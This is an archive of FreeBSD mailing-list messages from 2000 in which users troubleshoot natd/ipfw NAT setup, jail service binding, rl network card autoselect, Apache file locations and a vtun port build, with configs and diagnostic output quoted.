>> >> package database stay not corrupted?
>> >
>> >The "packages database" is a collection of flat text files. You only
>> >get into problems if you try writing to the same one at the same time.
>> >
>> >> I'm assuming both have all their dependents installed or they share no
>> >> dependents -- to avoid the question of building in the same directory
at
>> the
>> >> sam etime.
>> >
>> >*That's* the real problem: dependencies. If both ports depend on the
>> >same third package, and they both start writing on the +REQUIRED_BY
>> >file at the same time, it could mess up that file. On the other hand -
>> >that's not a major breakage; it just means that you don't get warned
>> >about all the dependencies when you remove the third package. As
>> >opposed to what happens when the two makes start trying to build the
>> >same package, which tends to break that build.
>> >
>> >If no package in system is directly required by more than one unbuilt
>> >package in the tree of dependents, you will be safe. Given that all
>> >the dependents of the two ports are built, this means that no package
>> >is directly required by both ports.
>> >
>> > <mike
>>
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Looks vaguely familiar. At one time, I also had two of the lines
numbered 100. I just tweaked everything and someting finally gave.
Check out the NAT page on http://www.mostgraveconcern.com/freebsd/. I
can send you a working configuration. Get this one working, then you
can tweak to your specific needs. Make sure that the NAT NIC is the
*outside* NIC. The rc.conf looks like this:

network_interfaces="fxp0 dc0 ed0 lo0"
ifconfig_dc0="inet 192.168.1.10      netmask 255.255.255.0"
ifconfig_fxp0="DHCP"
firewall_enable="YES"
firewall_type="OPEN"
gateway_enable="YES"
natd_enable="YES"
natd_interface="fxp0"

Make sure you have the following two options in your kernel, contrary
to the other stuff someone might tell you to put in:

options	IPFIREWALL
options	IPDIVERT

And last, add to the very end of /etc/rc.firewall the following lines:
#For NAT
/sbin/ipfw -f flush
/sbin/ipfw add divert natd all from any to any via fxp0
/sbin/ipfw add pass all from any to any

Note that the outside NIC fxp0 is just an example. Change yours if
necessary. Reboot. Now ping an outside IP from an internal machine.
Hope this helps!
-Otter

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}From: owner-freebsd-questions@FreeBSD.ORG
}[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of
}Daniel Ruthardt
}Sent: Monday, October 30, 2000 4:25 AM
}To: cjclark@alum.mit.edu
}Cc: freebsd-questions@FreeBSD.ORG
}Subject: IP Masquerading - Using NAT
}
}
}We might be able to help you figure out what you may have done wrong
}>>if you gave us some details on what you did. Some things that would
}>>help there:
}>>
}>>  $ cat /etc/rc.conf
}>>  $ fgrep 'IP packet filtering' /var/run/dmesg.boot
}>>  $ ifconfig -a
}>>  $ ipfw show
}>>
}>>If you have a natd.conf file,
}>>
}>>  $ cat natd.conf
}>>
}>>If you have made a custom firewall script (the distributed
}rc.firewall
}>>script should work out of the box with natd(8) and an
}"OPEN" setting),
}>>please include that.
}>>--
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}
}Here are the informations you need to help me:
}
}  $ cat /etc/rc.conf
}
}# This file now contains just the overrides from
}/etc/defaults/rc.conf
}# please make all changes to this file.
}
}keymap="german.iso"
}gateway_enable="YES"
}hostname="dowee.com"
}firewall_enable="YES"
}firewall_type="OPEN"
}natd_interface="xl0"
}natd_enable="YES"
}ifconfig_xl0="DHCP"
}ifconfig_xl0_alias0="inet 192.0.0.1 netmask 255.255.255.0"
}
}  $ fgrep 'IP packet filtering' /var/run/dmesg.boot
}
}IP packet filtering initialized, divert enabled, rule-based
}forwarding
}disabled,
} default to deny, logging disabled
}
}  $ ifconfig -a
}
}xl0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
}        inet6 fe80::250:4ff:fe4d:3695%xl0 prefixlen 64 scopeid 0x1
}        inet 212.186.196.204 netmask 0xffffff00 broadcast
}212.186.196.255
}        inet 192.0.0.1 netmask 0xffffff00 broadcast 192.0.0.255
}        ether 00:50:04:4d:36:95
}        media: 10baseT/UTP (10baseT/UTP <half-duplex>)
}        supported media: 10baseT/UTP <full-duplex>
}10baseT/UTP <half-duplex>
}10b
}aseT/UTP
}lp0: flags=8810<POINTOPOINT,SIMPLEX,MULTICAST> mtu 1500
}sl0: flags=c010<POINTOPOINT,LINK2,MULTICAST> mtu 552
}ppp0: flags=8010<POINTOPOINT,MULTICAST> mtu 1500
}lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
}        inet6 fe80::1%lo0 prefixlen 64 scopeid 0x5
}        inet6 ::1 prefixlen 128
}        inet 127.0.0.1 netmask 0xff000000
}gif0: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
}        inet6 fe80::250:4ff:fe4d:3695%gif0 prefixlen 64 scopeid 0x6
}gif1: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
}        inet6 fe80::250:4ff:fe4d:3695%gif1 prefixlen 64 scopeid 0x7
}gif2: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
}        inet6 fe80::250:4ff:fe4d:3695%gif2 prefixlen 64 scopeid 0x8
}gif3: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
}        inet6 fe80::250:4ff:fe4d:3695%gif3 prefixlen 64 scopeid 0x9
}stf0: flags=8000<MULTICAST> mtu 1280
}        inet6 fe80::250:4ff:fe4d:3695%stf0 prefixlen 64 scopeid 0xa
}faith0: flags=8000<MULTICAST> mtu 1500
}
}  $ ipfw show
}
}00100 3064 945994 divert 8668 ip from any to any via xl0
}00100    0      0 allow ip from any to any via lo0
}00200    0      0 deny ip from any to 127.0.0.0/8
}65000 3064 945994 allow ip from any to any
}65535    2    656 deny ip from any to any
}
}Hope the information tells you what i've done wrong (-:
}
}Thanks,
}Daniel
}
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Hi Jus,

I experienced the same problem.  We eventually opted to use different
cards (Intel EtherExpress Pro's) as we weren't getting great performance
out of the rl's either...

Cheers,
Marc

On Mon, Oct 30, 2000 at 12:32:38PM +0200, Justin Stanford wrote:
> Has anyone else noticed a problem on 10mbit networks with a NIC using the
> rl driver that fails to autoselect properly and uses 100mbit? I have two
> such cases on the same network, two different machines and FreeBSD
> versions (4.0-STABLE and 4.1.1-STABLE). I use ifconfig to force 10mbit.
> 
> Regards,
> jus
> 
> --
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> 082 7402741
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On Mon, 30 Oct 2000, Marc Silver wrote:

> Hi there,
> 
> It's my understanding that the chroot's (jails) should run on different
> IP addresses to that of your base system.  
> 
> For instance, let's say you have three addresses:
> 
> 192.168.0.10
> 192.168.0.11
> 192.168.0.12
> 
> 192.168.0.10 would be that of your base machine and all it's services,
> which you should make sure are bound to just that address, and none of
> the others.  The same would apply for your chroots.  Their services
> should also all be running on a seperate dedicated IP address.

Right, I read that too.  the base machine is on 216.126.84.253, while the
two envs are on 216.126.85.28 and 216.126.85.73 respectively ... that is
why I'm confused by the 'Address already in use' issue ...

 > 
> Cheers,
> Marc
> 
> On Sun, Oct 29, 2000 at 11:40:36PM -0400, The Hermit Hacker wrote:
> > 
> > Morning all ...
> > 
> > 	I'm running 4.x-STABLE on a machine, that I have setup two jail
> > environments over the base system, but the second one is getting the
> > following "errors" generated:
> > 
> > Oct 29 22:32:20 mail inetd[97608]: telnet/tcp: bind: Address already in use
> > Oct 29 22:32:20 mail inetd[97608]: ftp/tcp: bind: Address already in use
> > 
> > 	I have portmap disabled in both jail(s) and the base OS, and inetd
> > bound in the base OS to its IP ... do I have to bind inside of each jail
> > to?  I thought it got bound only to those IPs that were visible, no?
> > 
> > 	Hrmmm ... if I do a 'telnet localhost smtp' inside of the second
> > env, it gets its own sendmail ... if I do a 'ftp localhost', it gets the
> > ftp server of the first env ... samn thing with telnet, it gets me the
> > first env ...
> > 
> > 	If I add the -a IP option to inetd_flags, I can eliminate the
> > behaviour ... is this the way its supposed to work?
> > 
> > Thanks ...
> > 
> > 
> > Marc G. Fournier                   ICQ#7615664               IRC Nick: Scrappy
> > Systems Administrator @ hub.org 
> > primary: scrappy@hub.org           secondary: scrappy@{freebsd|postgresql}.org 
> 
> 

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Are any of the services on the base machine binding to all the IP's
perhaps??

You'de be looking at something like this:  (netstat -na | grep LIST)

tcp4       0      0  192.168.0.10.80        *.* LISTEN
tcp4       0      0  *.25                   *.* LISTEN
tcp4       0      0  192.168.0.10.53        *.* LISTEN
tcp4       0      0  192.168.0.10.53        *.* LISTEN
tcp4       0      0  *.6000                 *.* LISTEN
tcp4       0      0  *.3306                 *.* LISTEN
tcp4       0      0  *.22                   *.* LISTEN


Notice how for instance port 22, 25 and 3306 are bound to all ports on
the machine, which would mean that you couldn't bind sshd in the chroot
to an IP because there is already an sshd using it.  

That may help.  If not, let me know,
Cheers,
Marc

On Mon, Oct 30, 2000 at 07:50:49AM -0400, The Hermit Hacker wrote:
> On Mon, 30 Oct 2000, Marc Silver wrote:
> 
> > Hi there,
> > 
> > It's my understanding that the chroot's (jails) should run on different
> > IP addresses to that of your base system.  
> > 
> > For instance, let's say you have three addresses:
> > 
> > 192.168.0.10
> > 192.168.0.11
> > 192.168.0.12
> > 
> > 192.168.0.10 would be that of your base machine and all it's services,
> > which you should make sure are bound to just that address, and none of
> > the others.  The same would apply for your chroots.  Their services
> > should also all be running on a seperate dedicated IP address.
> 
> Right, I read that too.  the base machine is on 216.126.84.253, while the
> two envs are on 216.126.85.28 and 216.126.85.73 respectively ... that is
> why I'm confused by the 'Address already in use' issue ...
> 
>  > 
> > Cheers,
> > Marc
> > 
> > On Sun, Oct 29, 2000 at 11:40:36PM -0400, The Hermit Hacker wrote:
> > > 
> > > Morning all ...
> > > 
> > > 	I'm running 4.x-STABLE on a machine, that I have setup two jail
> > > environments over the base system, but the second one is getting the
> > > following "errors" generated:
> > > 
> > > Oct 29 22:32:20 mail inetd[97608]: telnet/tcp: bind: Address already in use
> > > Oct 29 22:32:20 mail inetd[97608]: ftp/tcp: bind: Address already in use
> > > 
> > > 	I have portmap disabled in both jail(s) and the base OS, and inetd
> > > bound in the base OS to its IP ... do I have to bind inside of each jail
> > > to?  I thought it got bound only to those IPs that were visible, no?
> > > 
> > > 	Hrmmm ... if I do a 'telnet localhost smtp' inside of the second
> > > env, it gets its own sendmail ... if I do a 'ftp localhost', it gets the
> > > ftp server of the first env ... samn thing with telnet, it gets me the
> > > first env ...
> > > 
> > > 	If I add the -a IP option to inetd_flags, I can eliminate the
> > > behaviour ... is this the way its supposed to work?
> > > 
> > > Thanks ...
> > > 
> > > 
> > > Marc G. Fournier                   ICQ#7615664               IRC Nick: Scrappy
> > > Systems Administrator @ hub.org 
> > > primary: scrappy@hub.org           secondary: scrappy@{freebsd|postgresql}.org 
> > 
> > 
> 
> Marc G. Fournier                   ICQ#7615664               IRC Nick: Scrappy
> Systems Administrator @ hub.org 
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The card's seem to perform perfectly fine once ifconfig has been used to
force the cards to 10mbit - this just has to be done on every boot.

Is this a bug in the driver, anyone? I would think so, as the card works
fine under Linux...

--
Justin Stanford
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On Mon, 30 Oct 2000, Marc Silver wrote:

> Hi Jus,
> 
> I experienced the same problem.  We eventually opted to use different
> cards (Intel EtherExpress Pro's) as we weren't getting great performance
> out of the rl's either...
> 
> Cheers,
> Marc
> 
> On Mon, Oct 30, 2000 at 12:32:38PM +0200, Justin Stanford wrote:
> > Has anyone else noticed a problem on 10mbit networks with a NIC using the
> > rl driver that fails to autoselect properly and uses 100mbit? I have two
> > such cases on the same network, two different machines and FreeBSD
> > versions (4.0-STABLE and 4.1.1-STABLE). I use ifconfig to force 10mbit.
> > 
> > Regards,
> > jus
> > 
> > --
> > Justin Stanford
> > 082 7402741
> > jus@security.za.net
> > www.security.za.net
> > IT Security and Solutions
> 



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At the beginning of booting the installation floppies of a 4.0-RELEASE
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isa_compat: didn't get ports for lnc
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right after the ed0 (NE2000 compatible) has been detected.

It could be that there is a problem with the network card, though but
I want to make sure whether the above messages are network card related
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It's a PCI system, BTW and the card might be at another than the standrda IO
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Server crashed with an out of memory error and have to reboot it.

My kernel operates at MBUFS = 16000

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On Mon, 30 Oct 2000, Marc Silver wrote:

> Are any of the services on the base machine binding to all the IP's
> perhaps??
> 
> You'de be looking at something like this:  (netstat -na | grep LIST)
> 
> tcp4       0      0  192.168.0.10.80        *.* LISTEN
> tcp4       0      0  *.25                   *.* LISTEN
> tcp4       0      0  192.168.0.10.53        *.* LISTEN
> tcp4       0      0  192.168.0.10.53        *.* LISTEN
> tcp4       0      0  *.6000                 *.* LISTEN
> tcp4       0      0  *.3306                 *.* LISTEN
> tcp4       0      0  *.22                   *.* LISTEN
> 
> 
> Notice how for instance port 22, 25 and 3306 are bound to all ports on
> the machine, which would mean that you couldn't bind sshd in the chroot
> to an IP because there is already an sshd using it.  

Nope, that doesn't seem to be it, but one I hadn't thought of checking ...
will have to keep an eye on that one thanks:

tcp4       0      0  216.126.85.73.23       *.*                    LISTEN
tcp4       0      0  216.126.85.73.21       *.*                    LISTEN
tcp4       0      0  216.126.85.28.23       *.*                    LISTEN
tcp4       0      0  216.126.85.28.21       *.*                    LISTEN
tcp4       0      0  216.126.85.73.22       *.*                    LISTEN
tcp46      0      0  *.22                   *.*                    LISTEN
tcp4       0      0  216.126.85.73.587      *.*                    LISTEN
tcp4       0      0  216.126.85.73.25       *.*                    LISTEN
tcp4       0      0  216.126.85.28.587      *.*                    LISTEN
tcp4       0      0  216.126.85.28.25       *.*                    LISTEN
tcp4       0      0  216.126.85.28.2000     *.*                    LISTEN
tcp4       0      0  216.126.85.28.143      *.*                    LISTEN
tcp4       0      0  216.126.84.253.22      *.*                    LISTEN
tcp4       0      0  216.126.85.28.22       *.*                    LISTEN
tcp4       0      0  216.126.85.28.53       *.*                    LISTEN
tcp4       0      0  216.126.85.28.80       *.*                    LISTEN
tcp4       0      0  216.126.84.253.21      *.*                    LISTEN

tcp46 means its doing both IPv4 and IPv6?

The *.22 above was the new one I added on though, fixed its sshd_conf file
...

So far, as far as I can tell, binding the jail envs inetd to an IP appears
to have fixed it, but from my read of teh docs, taht shouldn't have been
required ... am I reading the docs wrong? *raised eyebrow*

> On Mon, Oct 30, 2000 at 07:50:49AM -0400, The Hermit Hacker wrote:
> > On Mon, 30 Oct 2000, Marc Silver wrote:
> > 
> > > Hi there,
> > > 
> > > It's my understanding that the chroot's (jails) should run on different
> > > IP addresses to that of your base system.  
> > > 
> > > For instance, let's say you have three addresses:
> > > 
> > > 192.168.0.10
> > > 192.168.0.11
> > > 192.168.0.12
> > > 
> > > 192.168.0.10 would be that of your base machine and all it's services,
> > > which you should make sure are bound to just that address, and none of
> > > the others.  The same would apply for your chroots.  Their services
> > > should also all be running on a seperate dedicated IP address.
> > 
> > Right, I read that too.  the base machine is on 216.126.84.253, while the
> > two envs are on 216.126.85.28 and 216.126.85.73 respectively ... that is
> > why I'm confused by the 'Address already in use' issue ...
> > 
> >  > 
> > > Cheers,
> > > Marc
> > > 
> > > On Sun, Oct 29, 2000 at 11:40:36PM -0400, The Hermit Hacker wrote:
> > > > 
> > > > Morning all ...
> > > > 
> > > > 	I'm running 4.x-STABLE on a machine, that I have setup two jail
> > > > environments over the base system, but the second one is getting the
> > > > following "errors" generated:
> > > > 
> > > > Oct 29 22:32:20 mail inetd[97608]: telnet/tcp: bind: Address already in use
> > > > Oct 29 22:32:20 mail inetd[97608]: ftp/tcp: bind: Address already in use
> > > > 
> > > > 	I have portmap disabled in both jail(s) and the base OS, and inetd
> > > > bound in the base OS to its IP ... do I have to bind inside of each jail
> > > > to?  I thought it got bound only to those IPs that were visible, no?
> > > > 
> > > > 	Hrmmm ... if I do a 'telnet localhost smtp' inside of the second
> > > > env, it gets its own sendmail ... if I do a 'ftp localhost', it gets the
> > > > ftp server of the first env ... samn thing with telnet, it gets me the
> > > > first env ...
> > > > 
> > > > 	If I add the -a IP option to inetd_flags, I can eliminate the
> > > > behaviour ... is this the way its supposed to work?
> > > > 
> > > > Thanks ...
> > > > 
> > > > 
> > > > Marc G. Fournier                   ICQ#7615664               IRC Nick: Scrappy
> > > > Systems Administrator @ hub.org 
> > > > primary: scrappy@hub.org           secondary: scrappy@{freebsd|postgresql}.org 
> > > 
> > > 
> > 
> > Marc G. Fournier                   ICQ#7615664               IRC Nick: Scrappy
> > Systems Administrator @ hub.org 
> > primary: scrappy@hub.org           secondary: scrappy@{freebsd|postgresql}.org 
> 
> 

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> Hi.
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> Have a problem one of you might be able to help me with.
> If any actually has build the vtun port, please tell me how you did this.
> (The system described is a "clean install". With only bash and pine
> installed from the ports collection. Everything else is default.
> 
> When I try to make the the vtun 2.3 under FreeBSD 4.1.1 I get the
> following
> error message:
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> 
> *-- Start *--
> 
> bash-2.04# make
> This port requires the OpenSSL libarary, which is part of the FreeBSD
> crypto distribution but not installed on your machine.  Please see the
> "OpenSSL" section in the handbook for instructions on how to obtain and
> install the FreeBSD OpenSSL distribution.
> ** Error code 1
> 
> Stop.
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> Huh?? To my knowlede OpenSSL is installed by default in FreeBSD 4.0 and
> greater.
> 
> When to http://www.FreeBSD.org/handbook/openssl.html only to verify this.
> The only option that the handbook could help me with, was that if I wanted
> some US restricted crypto options I needed to define this in
> '/etc/make.conf'
> and run 'make world'. Well, the file '/etc/make.conf' does not exist on my
> system, and I have never run 'make world' so I desided this shouldn't be
> nessesary for this port to work.  I'm I wrong in this?
> 
> My system:
> Freebsd 4.1.1
> IPFILTER and IPFILTER_LOG compiled in kernel.
> Running NAT and a simple IPF config.
> Ports installed:
> Bash2
> Pine
> 
> Thanks for any help you could give me,
> 
> Pete
> 
> 
> 
> 
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Hello

This problem occurs with the 4.1-RELEASE CD and the 4.1.1-RELEASE CD. 
The 4.0-RELEASE CD however works just fine.

I'm trying to install FreeBSD on a newly put together PC (although I 
have had 4.0 running on the box just fine, as well as debian linux). 
The machine boots up off CD, and runs up the installer program. At 
this point the machine freezes, and I can't move the cursor or 
anything.

As I said, the 4.0 installer doesn't suffer from this problem.

It's a 566mhz celeron on a Gigabyte 2000+ motherboard, with soldered 
on promise ata-66 controller. I have two IBM 18Gb 7200 rpm disks 
connected as primaries on the two ata-66 busses. A CD-Rom drive is 
primary on a standard ata bus.

There are two Intel Pro100+ ethernet cards in the machine, and an 
Adaptec 2930 scsi card doing nothing.

Any help greatly appreciated. I'm happy to run some more tests if 
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Hi all,

I have a simple firewall setup based on the Mark Silver (?) tutorial from a
few months back.  I have an assignment to write a simple file server and
client using remote procedure calls.  I found a fair amount of
documentation, including rpcgen, which is definitely going to be critical
for my project.

2 questions: what would be a good way to transfer a file using rpc?  Can I
use ftp within my client/server system?

Do I need to do anything special in my firewall to allow this?  I believe
rpc is still enabled in my /etc/services, but I would like the firewall to
allow local testing and then remote testing.  For Licq I had to add a few
lines to the firewall config to allow those port connections.  Since the RPC
ports are already present, do I need to do anything special to allow this?

Thanks for any help.  This is going to be a big project in an already crazy
semester.

jcm
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Hi
Just installed Apache3.1/Php4 from the FreeBSD ftp site
Got it working but,under /usr/local/share/apache/ only cgi-bin htdocs and
icon folder
exist what happened to the conf logs and src folders?
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Hi there,

I've never really read the docs, but I'm very familiar with chrooting on
Solaris, so it's just something I knew.  Perhaps you could submit some
documentation to the project??  ;)

tcp4 (afaik) means that it's using ipv4.  This doesn't mean it's
listening on ipv6.  

Cheers,
Marc

On Mon, Oct 30, 2000 at 08:52:38AM -0400, The Hermit Hacker wrote:
> On Mon, 30 Oct 2000, Marc Silver wrote:
> 
> > Are any of the services on the base machine binding to all the IP's
> > perhaps??
> > 
> > You'de be looking at something like this:  (netstat -na | grep LIST)
> > 
> > tcp4       0      0  192.168.0.10.80        *.* LISTEN
> > tcp4       0      0  *.25                   *.* LISTEN
> > tcp4       0      0  192.168.0.10.53        *.* LISTEN
> > tcp4       0      0  192.168.0.10.53        *.* LISTEN
> > tcp4       0      0  *.6000                 *.* LISTEN
> > tcp4       0      0  *.3306                 *.* LISTEN
> > tcp4       0      0  *.22                   *.* LISTEN
> > 
> > 
> > Notice how for instance port 22, 25 and 3306 are bound to all ports on
> > the machine, which would mean that you couldn't bind sshd in the chroot
> > to an IP because there is already an sshd using it.  
> 
> Nope, that doesn't seem to be it, but one I hadn't thought of checking ...
> will have to keep an eye on that one thanks:
> 
> tcp4       0      0  216.126.85.73.23       *.*                    LISTEN
> tcp4       0      0  216.126.85.73.21       *.*                    LISTEN
> tcp4       0      0  216.126.85.28.23       *.*                    LISTEN
> tcp4       0      0  216.126.85.28.21       *.*                    LISTEN
> tcp4       0      0  216.126.85.73.22       *.*                    LISTEN
> tcp46      0      0  *.22                   *.*                    LISTEN
> tcp4       0      0  216.126.85.73.587      *.*                    LISTEN
> tcp4       0      0  216.126.85.73.25       *.*                    LISTEN
> tcp4       0      0  216.126.85.28.587      *.*                    LISTEN
> tcp4       0      0  216.126.85.28.25       *.*                    LISTEN
> tcp4       0      0  216.126.85.28.2000     *.*                    LISTEN
> tcp4       0      0  216.126.85.28.143      *.*                    LISTEN
> tcp4       0      0  216.126.84.253.22      *.*                    LISTEN
> tcp4       0      0  216.126.85.28.22       *.*                    LISTEN
> tcp4       0      0  216.126.85.28.53       *.*                    LISTEN
> tcp4       0      0  216.126.85.28.80       *.*                    LISTEN
> tcp4       0      0  216.126.84.253.21      *.*                    LISTEN
> 
> tcp46 means its doing both IPv4 and IPv6?
> 
> The *.22 above was the new one I added on though, fixed its sshd_conf file
> ...
> 
> So far, as far as I can tell, binding the jail envs inetd to an IP appears
> to have fixed it, but from my read of teh docs, taht shouldn't have been
> required ... am I reading the docs wrong? *raised eyebrow*
> 
> > On Mon, Oct 30, 2000 at 07:50:49AM -0400, The Hermit Hacker wrote:
> > > On Mon, 30 Oct 2000, Marc Silver wrote:
> > > 
> > > > Hi there,
> > > > 
> > > > It's my understanding that the chroot's (jails) should run on different
> > > > IP addresses to that of your base system.  
> > > > 
> > > > For instance, let's say you have three addresses:
> > > > 
> > > > 192.168.0.10
> > > > 192.168.0.11
> > > > 192.168.0.12
> > > > 
> > > > 192.168.0.10 would be that of your base machine and all it's services,
> > > > which you should make sure are bound to just that address, and none of
> > > > the others.  The same would apply for your chroots.  Their services
> > > > should also all be running on a seperate dedicated IP address.
> > > 
> > > Right, I read that too.  the base machine is on 216.126.84.253, while the
> > > two envs are on 216.126.85.28 and 216.126.85.73 respectively ... that is
> > > why I'm confused by the 'Address already in use' issue ...
> > > 
> > >  > 
> > > > Cheers,
> > > > Marc
> > > > 
> > > > On Sun, Oct 29, 2000 at 11:40:36PM -0400, The Hermit Hacker wrote:
> > > > > 
> > > > > Morning all ...
> > > > > 
> > > > > 	I'm running 4.x-STABLE on a machine, that I have setup two jail
> > > > > environments over the base system, but the second one is getting the
> > > > > following "errors" generated:
> > > > > 
> > > > > Oct 29 22:32:20 mail inetd[97608]: telnet/tcp: bind: Address already in use
> > > > > Oct 29 22:32:20 mail inetd[97608]: ftp/tcp: bind: Address already in use
> > > > > 
> > > > > 	I have portmap disabled in both jail(s) and the base OS, and inetd
> > > > > bound in the base OS to its IP ... do I have to bind inside of each jail
> > > > > to?  I thought it got bound only to those IPs that were visible, no?
> > > > > 
> > > > > 	Hrmmm ... if I do a 'telnet localhost smtp' inside of the second
> > > > > env, it gets its own sendmail ... if I do a 'ftp localhost', it gets the
> > > > > ftp server of the first env ... samn thing with telnet, it gets me the
> > > > > first env ...
> > > > > 
> > > > > 	If I add the -a IP option to inetd_flags, I can eliminate the
> > > > > behaviour ... is this the way its supposed to work?
> > > > > 
> > > > > Thanks ...
> > > > > 
> > > > > 
> > > > > Marc G. Fournier                   ICQ#7615664               IRC Nick: Scrappy
> > > > > Systems Administrator @ hub.org 
> > > > > primary: scrappy@hub.org           secondary: scrappy@{freebsd|postgresql}.org 
> > > > 
> > > > 
> > > 
> > > Marc G. Fournier                   ICQ#7615664               IRC Nick: Scrappy
> > > Systems Administrator @ hub.org 
> > > primary: scrappy@hub.org           secondary: scrappy@{freebsd|postgresql}.org 
> > 
> > 
> 
> Marc G. Fournier                   ICQ#7615664               IRC Nick: Scrappy
> Systems Administrator @ hub.org 
> primary: scrappy@hub.org           secondary: scrappy@{freebsd|postgresql}.org 


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I use "burncd -s 8 -f /dev/acd0c data * fixate" to burn a
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Hi there,

You can find the config files in /usr/local/etc/apache and you can find
the apache_13.1.14.tar.gz in /usr/ports/distfiles or in
/usr/ports/www/apache13/work if you haven't done a 'make clean'.

Cheers,
Marc

On Mon, Oct 30, 2000 at 08:32:16AM -0500, alex wrote:
> Hi
> Just installed Apache3.1/Php4 from the FreeBSD ftp site
> Got it working but,under /usr/local/share/apache/ only cgi-bin htdocs and
> icon folder
> exist what happened to the conf logs and src folders?
> PerPlexxxed
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* alex <alex@nyc.zyan.net> [20001030 16:27]:
=>Hi
=>Just installed Apache3.1/Php4 from the FreeBSD ftp site
=>Got it working but,under /usr/local/share/apache/ only cgi-bin htdocs and
=>icon folder
=>exist what happened to the conf 

Not in /usr/local/etc/apache/ ????

logs 

Not in var/log/ ???

and src folders?

I am not sure what this one is...

BTW I am not running Apache 3.1 ..


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why not install the package instead?


> -----Original Message-----
> From: owner-freebsd-questions@FreeBSD.ORG
> [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Per Tore Larsen
> Sent: Monday, October 30, 2000 4:53 PM
> To: 'freebsd-questions@freebsd.org'
> Subject: Vtun 2.3 and FreeBSD 4.1.1
>
>
> > Hi.
> >
> > Have a problem one of you might be able to help me with.
> > If any actually has build the vtun port, please tell me how you
> did this.
> > (The system described is a "clean install". With only bash and pine
> > installed from the ports collection. Everything else is default.
> >
> > When I try to make the the vtun 2.3 under FreeBSD 4.1.1 I get the
> > following
> > error message:
> > (the port is located under: /usr/ports/net/vtun)
> >
> > *-- Start *--
> >
> > bash-2.04# make
> > This port requires the OpenSSL libarary, which is part of the FreeBSD
> > crypto distribution but not installed on your machine.  Please see the
> > "OpenSSL" section in the handbook for instructions on how to obtain and
> > install the FreeBSD OpenSSL distribution.
> > ** Error code 1
> >
> > Stop.
> >
> > Huh?? To my knowlede OpenSSL is installed by default in FreeBSD 4.0 and
> > greater.
> >
> > When to http://www.FreeBSD.org/handbook/openssl.html only to
> verify this.
> > The only option that the handbook could help me with, was that
> if I wanted
> > some US restricted crypto options I needed to define this in
> > '/etc/make.conf'
> > and run 'make world'. Well, the file '/etc/make.conf' does not
> exist on my
> > system, and I have never run 'make world' so I desided this shouldn't be
> > nessesary for this port to work.  I'm I wrong in this?
> >
> > My system:
> > Freebsd 4.1.1
> > IPFILTER and IPFILTER_LOG compiled in kernel.
> > Running NAT and a simple IPF config.
> > Ports installed:
> > Bash2
> > Pine
> >
> > Thanks for any help you could give me,
> >
> > Pete
> >
> >
> >
> >
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On Mon, 30 Oct 2000, Marc Silver wrote:

> Hi there,
> 
> I've never really read the docs, but I'm very familiar with chrooting on
> Solaris, so it's just something I knew.  Perhaps you could submit some
> documentation to the project??  ;)
> 
> tcp4 (afaik) means that it's using ipv4.  This doesn't mean it's
> listening on ipv6.  

correct, but what does the 'tcp46' below mean? :)


> 
> Cheers,
> Marc
> 
> On Mon, Oct 30, 2000 at 08:52:38AM -0400, The Hermit Hacker wrote:
> > On Mon, 30 Oct 2000, Marc Silver wrote:
> > 
> > > Are any of the services on the base machine binding to all the IP's
> > > perhaps??
> > > 
> > > You'de be looking at something like this:  (netstat -na | grep LIST)
> > > 
> > > tcp4       0      0  192.168.0.10.80        *.* LISTEN
> > > tcp4       0      0  *.25                   *.* LISTEN
> > > tcp4       0      0  192.168.0.10.53        *.* LISTEN
> > > tcp4       0      0  192.168.0.10.53        *.* LISTEN
> > > tcp4       0      0  *.6000                 *.* LISTEN
> > > tcp4       0      0  *.3306                 *.* LISTEN
> > > tcp4       0      0  *.22                   *.* LISTEN
> > > 
> > > 
> > > Notice how for instance port 22, 25 and 3306 are bound to all ports on
> > > the machine, which would mean that you couldn't bind sshd in the chroot
> > > to an IP because there is already an sshd using it.  
> > 
> > Nope, that doesn't seem to be it, but one I hadn't thought of checking ...
> > will have to keep an eye on that one thanks:
> > 
> > tcp4       0      0  216.126.85.73.23       *.*                    LISTEN
> > tcp4       0      0  216.126.85.73.21       *.*                    LISTEN
> > tcp4       0      0  216.126.85.28.23       *.*                    LISTEN
> > tcp4       0      0  216.126.85.28.21       *.*                    LISTEN
> > tcp4       0      0  216.126.85.73.22       *.*                    LISTEN
> > tcp46      0      0  *.22                   *.*                    LISTEN
> > tcp4       0      0  216.126.85.73.587      *.*                    LISTEN
> > tcp4       0      0  216.126.85.73.25       *.*                    LISTEN
> > tcp4       0      0  216.126.85.28.587      *.*                    LISTEN
> > tcp4       0      0  216.126.85.28.25       *.*                    LISTEN
> > tcp4       0      0  216.126.85.28.2000     *.*                    LISTEN
> > tcp4       0      0  216.126.85.28.143      *.*                    LISTEN
> > tcp4       0      0  216.126.84.253.22      *.*                    LISTEN
> > tcp4       0      0  216.126.85.28.22       *.*                    LISTEN
> > tcp4       0      0  216.126.85.28.53       *.*                    LISTEN
> > tcp4       0      0  216.126.85.28.80       *.*                    LISTEN
> > tcp4       0      0  216.126.84.253.21      *.*                    LISTEN
> > 
> > tcp46 means its doing both IPv4 and IPv6?
> > 
> > The *.22 above was the new one I added on though, fixed its sshd_conf file
> > ...
> > 
> > So far, as far as I can tell, binding the jail envs inetd to an IP appears
> > to have fixed it, but from my read of teh docs, taht shouldn't have been
> > required ... am I reading the docs wrong? *raised eyebrow*
> > 
> > > On Mon, Oct 30, 2000 at 07:50:49AM -0400, The Hermit Hacker wrote:
> > > > On Mon, 30 Oct 2000, Marc Silver wrote:
> > > > 
> > > > > Hi there,
> > > > > 
> > > > > It's my understanding that the chroot's (jails) should run on different
> > > > > IP addresses to that of your base system.  
> > > > > 
> > > > > For instance, let's say you have three addresses:
> > > > > 
> > > > > 192.168.0.10
> > > > > 192.168.0.11
> > > > > 192.168.0.12
> > > > > 
> > > > > 192.168.0.10 would be that of your base machine and all it's services,
> > > > > which you should make sure are bound to just that address, and none of
> > > > > the others.  The same would apply for your chroots.  Their services
> > > > > should also all be running on a seperate dedicated IP address.
> > > > 
> > > > Right, I read that too.  the base machine is on 216.126.84.253, while the
> > > > two envs are on 216.126.85.28 and 216.126.85.73 respectively ... that is
> > > > why I'm confused by the 'Address already in use' issue ...
> > > > 
